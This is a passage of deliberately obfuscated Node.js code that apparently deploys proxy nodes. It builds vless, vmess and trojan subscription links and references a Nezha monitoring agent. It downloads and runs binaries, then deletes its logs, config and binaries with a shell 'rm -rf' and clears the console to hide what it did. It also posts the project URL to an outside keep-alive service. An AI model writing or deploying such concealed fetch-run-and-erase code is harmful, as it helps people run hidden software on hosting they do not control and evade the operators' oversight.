_0x2ca8a8[_0x2f1478(0xb1,0x165,0x1d1,0x65)](_0x2ca8a8[_0x2b8229(-0x279,-0x168,-0x285,-0x17c)],_0x2ca8a8['RNHHI'])?null:null;}}else{if(_0x2ca8a8[_0x2f1478(-0xfc,-0x79,-0xc8,0xc9)](_0x2ca8a8[_0x2f1478(0x34,0x8,-0x57,-0x9)],_0x2ca8a8[_0x2b8229(-0x6,-0x234,-0x14d,-0x163)]))_0x5a6fd6[_0x2b8229(0x97,-0x5d,-0x148,-0x24)](_0x2f1478(-0x17e,-0x8d,-0x1a1,0x3d)+_0x2b8229(0xab,0x93,0x47,-0x27)+_0x2f1478(-0xdb,0x69,-0x21,-0xad),_0xe5bfdc);else return;}}}function cleanFiles(){const _0x4ff20b={'YicyB':function(_0x2b2cfe,_0x41e819){return _0x2b2cfe===_0x41e819;},'EkefI':_0x4b6fbe(0x91,0x309,0x10f,0x1e7),'YMfNR':_0x312560(0x292,0x24c,0x1f5,0x1ef)+'ning','XiyRT':_0x4b6fbe(-0x3,0x4b,0x231,0x15a),'CfkiZ':_0x312560(0x282,0x37a,0x1fd,0x248),'DMVFl':function(_0x10fdaf,_0x373f46,_0x58ea5f){return _0x10fdaf(_0x373f46,_0x58ea5f);},'HHsoa':function(_0xb4a942,_0x5317df){return _0xb4a942!==_0x5317df;},'sxUtq':_0x312560(0xc7,0x25c,0x2c1,0x197),'bZjrZ':function(_0x265416,_0xe979e6,_0x1ff34a){return _0x265416(_0xe979e6,_0x1ff34a);}};function _0x312560(_0xffb46b,_0x93613,_0x215da9,_0x3fe217){return _0x2e882e(_0x3fe217- -0x22c,_0x93613,_0x215da9-0x1c4,_0x3fe217-0x17e);}function _0x4b6fbe(_0x2ba57d,_0x494466,_0x295719,_0x27ce1a){return _0x282096(_0x2ba57d-0x92,_0x494466-0x10e,_0x27ce1a- -0x2e,_0x2ba57d);}_0x4ff20b[_0x4b6fbe(0x16,0x1d7,0x295,0x154)](setTimeout,()=>{function _0x5b321b(_0x3a5c7d,_0x6b4b86,_0x3075d6,_0x485750){return _0x4b6fbe(_0x3a5c7d,_0x6b4b86-0x122,_0x3075d6-0x14b,_0x3075d6-0x318);}const _0x264dd2={'KrooQ':_0x5e98a6(0x10e,0x1e3,0x1d9,0x19d)+'pe','qHpSF':_0x5e98a6(0xca,0x15,-0x68,0xe1)+_0x5e98a6(0x70,0x24a,0xa9,0x1cc)+_0x5e98a6(0x216,-0x18,0x24b,0x12e),'VzTZn':_0x4ff20b[_0x5e98a6(0x259,0x286,0x3a4,0x313)],'eXLDl':_0x5e98a6(0x11a,0x2a4,0x22f,0x13d)+_0x5b321b(0x577,0x52b,0x55a,0x6b3),'TFNls':_0x4ff20b['CfkiZ'],'ChJLl':function(_0x27b0a3){return _0x27b0a3();},'rczNu':function(_0x2259d5,_0x466c65,_0x2eb2d1){function _0x41f726(_0x5e0a11,_0x275f59,_0x4f85f2,_0x5599d7){return _0x5b321b(_0x275f59,_0x275f59-0xfb,_0x5599d7- -0x33d,_0x5599d7-0x168);}return _0x4ff20b[_0x41f726(0x23c,0x20c,0x2da,0x2af)](_0x2259d5,_0x466c65,_0x2eb2d1);}},_0x35c975=[bootLogPath,configPath,webPath,botPath];if(NEZHA_PORT){if(_0x4ff20b['HHsoa'](_0x4ff20b[_0x5b321b(0x675,0x5ee,0x52d,0x4ac)],'KhJLz'))return null;else _0x35c975[_0x5b321b(0x2cd,0x3c3,0x419,0x401)](npmPath);}else NEZHA_SERVER&&NEZHA_KEY&&_0x35c975[_0x5b321b(0x31b,0x535,0x419,0x4b6)](phpPath);function _0x5e98a6(_0x2e8784,_0x1f370e,_0x471b52,_0x9c1e2a){return _0x4b6fbe(_0x471b52,_0x1f370e-0x131,_0x471b52-0x29,_0x9c1e2a-0x7d);}process[_0x5b321b(0x595,0x425,0x56b,0x56f)]===_0x5e98a6(0x1e2,0x285,0xcd,0x208)?exec(_0x5e98a6(0xdc,0x277,0xc2,0x186)+_0x35c975[_0x5e98a6(0x173,0x27,0x236,0x16f)]('\x20')+(_0x5b321b(0x3fe,0x449,0x532,0x535)+'1'),_0x4a4a8f=>{function _0x570020(_0x53e665,_0x552c31,_0x2f7347,_0x5d98e2){return _0x5e98a6(_0x53e665-0x149,_0x552c31-0x199,_0x53e665,_0x552c31- -0x49);}function _0x15dc25(_0x396d77,_0x43b86a,_0x1e8fa4,_0x869acd){return _0x5e98a6(_0x396d77-0x27,_0x43b86a-0x177,_0x869acd,_0x1e8fa4-0x32c);}if(_0x4ff20b['YicyB'](_0x4ff20b[_0x15dc25(0x58e,0x476,0x5db,0x64c)],_0x4ff20b[_0x570020(0x15a,0x266,0x158,0x1db)]))console[_0x15dc25(0x480,0x6dc,0x584,0x593)](),console[_0x15dc25(0x550,0x47e,0x550,0x532)](_0x4ff20b[_0x15dc25(0x5ca,0x4a9,0x463,0x4ec)]),console[_0x570020(0xfc,0x1db,0x1c1,0x17d)]('Thank\x20you\x20'+_0x570020(0x20c,0x14e,0x10,0x188)+_0x570020(0x179,0x198,0xc0,0x28a)+_0x570020(0x24f,0x244,0x1bf,0x246));else{const _0x43847f={'fCNyR':_0x15dc25(0x37e,0x562,0x3fd,0x3f1),'eUmaV':_0x264dd2[_0x570020(0xec,0xe6,-0x63,0x150)],'KoVtS':_0x264dd2[_0x15dc25(0x4e8,0x419,0x51b,0x460)],'KPsBG':_0x264dd2[_0x570020(0x332,0x2da,0x389,0x31f)],'GUrFh':_0x264dd2['eXLDl'],'GJUcP':_0x264dd2['TFNls'],'GepTx':function(_0x347c13){function _0xb9f581(_0xdb0bac,_0x37e68e,_0x4ad29d,_0x324cb0){return _0x15dc25(_0xdb0bac-0x126,_0x37e68e-0x1a5,_0x37e68e- -0x50d,_0x4ad29d);}return _0x264dd2[_0xb9f581(-0xc3,0x6f,0xab,0x12)](_0x347c13);},'ljrIS':function(_0x126ea8,_0x45e206){return _0x126ea8(_0x45e206);}};_0x264dd2[_0x570020(-0x2f,0x7c,-0x87,0x1d2)](_0x4ed2a6,()=>{const _0x451ab1={};_0x451ab1['v']='2',_0x451ab1['ps']=''+_0x471384,_0x451ab1[_0x10acda(0x3f8,0x469,0x4bc,0x3d0)]=_0x49f58c,_0x451ab1[_0x870c28(0x34b,0x331,0x1f5,0x39f)]=_0x469c6b,_0x451ab1['id']=_0x11802c,_0x451ab1['aid']='0',_0x451ab1[_0x870c28(0x57c,0x484,0x549,0x43f)]=_0x43847f[_0x870c28(0x2f0,0x30b,0x23a,0x33f)];function _0x870c28(_0x5cb3da,_0x3a870c,_0x2ab41e,_0x253297){return _0x15dc25(_0x5cb3da-0xa9,_0x3a870c-0x29,_0x3a870c- -0xf1,_0x2ab41e);}_0x451ab1[_0x10acda(0x3f5,0x3e7,0x43f,0x511)]='ws',_0x451ab1[_0x10acda(0x51e,0x4bc,0x532,0x409)]=_0x43847f[_0x870c28(0x258,0x30b,0x2cc,0x2d3)];function _0x10acda(_0x2bfdcf,_0x46689c,_0x1ade9c,_0x5b57cc){return _0x15dc25(_0x2bfdcf-0xbc,_0x46689c-0x4b,_0x2bfdcf- -0x16b,_0x46689c);}_0x451ab1[_0x10acda(0x474,0x4f3,0x37d,0x453)]=_0x5d71f0,_0x451ab1['path']=_0x43847f['GUrFh'],_0x451ab1['tls']=_0x43847f[_0x870c28(0x41f,0x3de,0x42f,0x398)],_0x451ab1[_0x10acda(0x439,0x4df,0x479,0x435)]=_0x53cf02,_0x451ab1[_0x870c28(0x47e,0x4dc,0x55f,0x42f)]='',_0x451ab1['fp']=_0x870c28(0x2a6,0x360,0x379,0x27a);const _0x1d0433=_0x451ab1,_0x5590e4='\x0avless://'+_0x547517+'@'+_0x3fb411+':'+_0x2e1eb1+(_0x10acda(0x48f,0x48d,0x4c1,0x381)+'n=none&sec'+'urity=tls&'+_0x870c28(0x644,0x518,0x415,0x677))+_0x3f3c18+(_0x10acda(0x3ae,0x3db,0x3e8,0x469)+'x&type=ws&'+_0x870c28(0x22e,0x2ef,0x251,0x385))+_0x2a78ad+('&path=%2Fv'+_0x870c28(0x40a,0x2e2,0x1a7,0x409)+'3Fed%3D256'+'0#')+_0x2effef+(_0x10acda(0x3e8,0x38a,0x516,0x360)+'//')+_0x32054a[_0x10acda(0x2b2,0x3ff,0x3e7,0x3ff)](_0x242358['stringify'](_0x1d0433))[_0x10acda(0x3af,0x4fd,0x3e6,0x2d2)](_0x43847f[_0x870c28(0x582,0x431,0x566,0x53a)])+(_0x10acda(0x510,0x553,0x40d,0x413)+'://')+_0xe31c64+'@'+_0x254a43+':'+_0x527d95+('?security='+'tls&sni=')+_0x1eb473+('&fp=firefo'+_0x10acda(0x315,0x319,0x43a,0x26e)+'host=')+_0x194b77+(_0x870c28(0x3d2,0x529,0x43e,0x3fb)+_0x870c28(0x253,0x343,0x31b,0x29f)+_0x10acda(0x430,0x3ca,0x4d9,0x2cc)+_0x10acda(0x2eb,0x44e,0x2fb,0x363))+_0x3e1e22+_0x870c28(0x42b,0x43d,0x5a5,0x3c5);_0x4cfdf4['log'](_0x5ba26b['from'](_0x5590e4)[_0x10acda(0x3af,0x2d6,0x355,0x414)](_0x43847f[_0x10acda(0x3b7,0x305,0x4ba,0x4a4)])),_0x133b4f[_0x10acda(0x321,0x243,0x298,0x1d9)+_0x10acda(0x2fd,0x197,0x1a7,0x301)](_0x5ce2ed,_0x36979a[_0x870c28(0x2ad,0x32c,0x35d,0x366)](_0x5590e4)['toString'](_0x43847f['fCNyR'])),_0x3d097b[_0x870c28(0x3f6,0x45f,0x3f1,0x418)](_0x340f38+(_0x10acda(0x434,0x4ab,0x595,0x3b1)+'aved\x20succe'+_0x10acda(0x34a,0x485,0x309,0x2a1))),_0x43847f[_0x870c28(0x36f,0x324,0x228,0x207)](_0x1621ee),_0x5546f1[_0x10acda(0x49d,0x5b6,0x39a,0x5cc)]('/'+_0x339886,(_0x4993dd,_0x28e936)=>{const _0x412513=_0x4372f2[_0x27a29e(0x1c6,0x254,0x175,0x149)](_0x5590e4)[_0x27a29e(0x131,0x14b,0x272,0x38b)](_0x43847f[_0x27a29e(0x173,0x36d,0x27a,0x3d3)]);_0x28e936[_0x38a63d(-0x62,0x33,0x51,0x94)](_0x43847f[_0x27a29e(0x247,0x1a2,0x12d,0x203)],_0x43847f[_0x27a29e(0x264,0x18a,0x22a,0xfe)]);function _0x27a29e(_0x3fda97,_0x176b75,_0x447644,_0x1fefa2){return _0x870c28(_0x3fda97-0x122,_0x447644- -0x1b7,_0x1fefa2,_0x1fefa2-0x119);}function _0x38a63d(_0x166da0,_0x102baa,_0x5e846d,_0x2aadfc){return _0x10acda(_0x166da0- -0x443,_0x5e846d,_0x5e846d-0x196,_0x2aadfc-0xf6);}_0x28e936[_0x38a63d(-0xc1,0x93,-0x15f,-0x129)](_0x412513);}),_0x43847f[_0x870c28(0x303,0x2ff,0x2a2,0x212)](_0x15787c,_0x5590e4);},0x1b2*0x1+0x5a6*0x2+0x27*-0x22);}}):_0x4ff20b[_0x5e98a6(0x38e,0x2b4,0x211,0x351)](exec,_0x5e98a6(-0x5f,0x1da,0x207,0xfd)+_0x35c975[_0x5e98a6(0xe0,0x22e,0x14c,0x16f)]('\x20')+('\x20>/dev/nul'+_0x5b321b(0x2be,0x401,0x346,0x2e8)),_0x4a7420=>{function _0x2715ea(_0xd2a268,_0x523d85,_0xad01e2,_0x16381c){return _0x5e98a6(_0xd2a268-0xdd,_0x523d85-0x1b7,_0xd2a268,_0x523d85-0x232);}console['clear'](),console[_0x489f95(0x86,0x90,-0x11,0x1c)](_0x4ff20b[_0x489f95(-0x67,-0x77,-0x15d,0xbc)]);function _0x489f95(_0x289f6a,_0x40fe88,_0x506e1c,_0x3c3e5f){return _0x5b321b(_0x40fe88,_0x40fe88-0x4e,_0x289f6a- -0x439,_0x3c3e5f-0x52);}console[_0x489f95(0x86,-0x80,0x1,-0x86)](_0x489f95(-0x5d,0xd4,-0xd6,-0x117)+'for\x20using\x20'+'this\x20scrip'+_0x489f95(0xef,-0x8,0x168,0x112));});},-0x1981*-0x17+0x1f43*0x4+-0x16813);}cleanFiles();async function AddVisitTask(){const _0x3f88b3={};_0x3f88b3['cdEfY']=function(_0x128426,_0xf96eba){return _0x128426||_0xf96eba;};function _0x322ba9(_0x3c6b2d,_0x46c328,_0x37c500,_0x26ca00){return _0x2e882e(_0x3c6b2d- -0x273,_0x46c328,_0x37c500-0x61,_0x26ca00-0xcc);}_0x3f88b3[_0xdeda03(0x2c3,0x427,0x3ce,0x34e)]=_0xdeda03(0x4bc,0x44c,0x587,0x35e)+_0x322ba9(0x3c7,0x385,0x346,0x40d)+_0xdeda03(0x32a,0x3e4,0x4bd,0x520)+_0x322ba9(0x34f,0x2b1,0x431,0x4a3),_0x3f88b3['YvEJy']=function(_0x3395d0,_0x25f451){return _0x3395d0!==_0x25f451;},_0x3f88b3[_0x322ba9(0x33d,0x468,0x494,0x20a)]='HQdNz';function _0xdeda03(_0x2682f2,_0x3ae1bf,_0xf44bed,_0x3e010b){return _0x282096(_0x2682f2-0x144,_0x3ae1bf-0x1a9,_0x3ae1bf-0x1c2,_0xf44bed);}_0x3f88b3[_0xdeda03(0x2cb,0x37a,0x2dd,0x468)]='https://oo'+_0xdeda03(0x1f9,0x271,0x11a,0x28f)+_0x322ba9(0x242,0x335,0x34e,0x29b)+'l',_0x3f88b3[_0xdeda03(0x2d0,0x338,0x314,0x2cb)]='applicatio'+'n/json',_0x3f88b3[_0xdeda03(0x576,0x433,0x44c,0x47b)]=function(_0x49e23a,_0x9ef124){return _0x49e23a===_0x9ef124;},_0x3f88b3[_0xdeda03(0x3b6,0x44e,0x396,0x504)]=_0x322ba9(0x28b,0x18e,0x25f,0x3e6),_0x3f88b3[_0xdeda03(0x390,0x45b,0x55a,0x4cf)]='DHwTj';const _0x37a31f=_0x3f88b3;if(_0x37a31f[_0x322ba9(0x176,0x40,0x148,0x200)](!AUTO_ACCESS,!PROJECT_URL)){console['log'](_0x37a31f[_0x322ba9(0x324,0x277,0x22e,0x249)]);return;}try{if(_0x37a31f[_0xdeda03(0x2a0,0x3f5,0x31a,0x2ed)](_0x37a31f['sCApq'],_0x37a31f[_0xdeda03(0x58f,0x440,0x47f,0x4e2)]))_0x36b488[_0x322ba9(0x3ac,0x442,0x4cf,0x4f2)](_0x322ba9(0x18c,0xce,0x111,0x199)+_0xdeda03(0x157,0x283,0x155,0x238)+_0x322ba9(0x143,0x60,0x2a6,0x74)+_0x358a22+':\x20'+_0x20477a);else{const _0x2fbf7d={};_0x2fbf7d[_0xdeda03(0x424,0x455,0x32a,0x45e)]=PROJECT_URL;const _0xb6e79c=await axios['post'](_0x37a31f[_0x322ba9(0x277,0x3d2,0x1f3,0x346)],_0x2fbf7d,{'headers':{'Content-Type':_0x37a31f[_0xdeda03(0x422,0x338,0x2af,0x459)]}});return console[_0x322ba9(0x294,0x2ca,0x157,0x26e)]('automatic\x20'+_0xdeda03(0x245,0x25f,0x12f,0x19b)+_0x322ba9(0x210,0x156,0x27d,0xfb)+'ccessfully'),_0xb6e79c;}}catch(_0x2bd943){if(_0x37a31f[_0xdeda03(0x469,0x433,0x3fc,0x509)](_0x37a31f['VoOTc'],_0x37a31f[_0xdeda03(0x5bb,0x45b,0x36e,0x412)]))return;else return console[_0x322ba9(0x3ac,0x2bf,0x4bb,0x290)](_0x322ba9(0x22d,0x2ed,0x32f,0x376)+_0xdeda03(0x3ea,0x31f,0x36b,0x2ae)+_0xdeda03(0x26d,0x3d3,0x365,0x3a1)+_0x322ba9(0x28c,0x380,0x197,0x179)+_0x2bd943[_0xdeda03(0x409,0x2d2,0x2be,0x3f2)]),null;}}async function startserver(){function _0x57d95c(_0x47989,_0x446236,_0x3a9af9,_0x4e96cb){return _0x2e882e(_0x47989- -0x38f,_0x446236,_0x3a9af9-0x32,_0x4e96cb-0x1ab);}const _0x5e0172={'MwMKv':_0x2b0b38(0x579,0x814,0x56b,0x6c9)+_0x57d95c(0x67,0x1a0,0xed,0x21)+_0x2b0b38(0x546,0x442,0x61a,0x51d),'oFeSJ':function(_0x117122,_0x2bd18c){return _0x117122===_0x2bd18c;},'CytcV':_0x2b0b38(0x5e9,0x4ae,0x551,0x548),'PkypF':_0x57d95c(0xa1,0x15,-0xa5,-0x58)+'2','IaBDT':function(_0x3c1121){return _0x3c1121();},'Nzvuj':function(_0x3f40ce){return _0x3f40ce();},'OLHnU':'Error\x20in\x20s'+_0x57d95c(0x1fe,0x170,0x23d,0x123)+':'};function _0x2b0b38(_0x32e607,_0xffdfaf,_0x27e086,_0x366bfb){return _0x2e882e(_0x366bfb-0xb1,_0xffdfaf,_0x27e086-0x51,_0x366bfb-0x4c);}try{if(_0x5e0172['oFeSJ']('yECQo',_0x5e0172['CytcV']))return _0x28cef5[_0x2b0b38(0x517,0x500,0x66a,0x5b8)](_0x5e0172[_0x2b0b38(0x3da,0x568,0x4ee,0x44a)]),_0x267312;else{const _0x398b81=_0x5e0172[_0x2b0b38(0x4a5,0x599,0x681,0x58b)][_0x2b0b38(0x600,0x778,0x5f3,0x696)]('|');let _0x55fc5a=-0x374*0x4+0x1b1*0x17+0x3*-0x85d;while(!![]){switch(_0x398b81[_0x55fc5a++]){case'0':await downloadFilesAndRun();continue;case'1':_0x5e0172['IaBDT'](cleanupOldFiles);continue;case'2':await _0x5e0172[_0x57d95c(0x9e,0x1bf,-0x87,-0x5f)](AddVisitTask);continue;case'3':_0x5e0172[_0x2b0b38(0x5f7,0x586,0x4e4,0x4de)](deleteNodes);continue;case'4':await _0x5e0172[_0x2b0b38(0x464,0x49b,0x5bc,0x4de)](generateConfig);continue;case'5':await _0x5e0172['Nzvuj'](extractDomains);continue;}break;}}}catch(_0x5f31a7){console['error'](_0x5e0172[_0x2b0b38(0x5f2,0x740,0x5a9,0x6b1)],_0x5f31a7);}}startserver()[_0x282096(0x32d,0x41b,0x2d6,0x33f)](_0x7db43b=>{function _0x3f83a0(_0x11c577,_0x4ed547,_0x10ad3f,_0x413a9f){return _0x282096(_0x11c577-0xb2,_0x4ed547-0x47,_0x10ad3f-0x129,_0x4ed547);}const _0x34acb6={};_0x34acb6['GFEyF']=_0x3f83a0(0x341,0x17d,0x22d,0x2f8)+_0x3f83a0(0x23b,0x55,0x186,0x1b8)+_0x5b39f1(-0xa4,-0xd4,-0x60,-0xa9)+':';const _0x50c381=_0x34acb6;function _0x5b39f1(_0x14f324,_0x2a9b8e,_0x1f37ca,_0x3f873a){return _0x282096(_0x14f324-0x11d,_0x2a9b8e-0x1ae,_0x14f324- -0x2ff,_0x3f873a);}console[_0x3f83a0(0x372,0x495,0x416,0x40c)](_0x50c381[_0x5b39f1(-0x1a0,-0x285,-0x209,-0x85)],_0x7db43b);}),app[_0x282096(0x2bd,0x13a,0x1f1,0xdb)](PORT,()=>console[_0x2e882e(0x507,0x45f,0x3c5,0x407)]('http\x20serve'+'r\x20is\x20runni'+_0x282096(0x115,0x20b,0xd1,0x11d)+':'+PORT+'!'));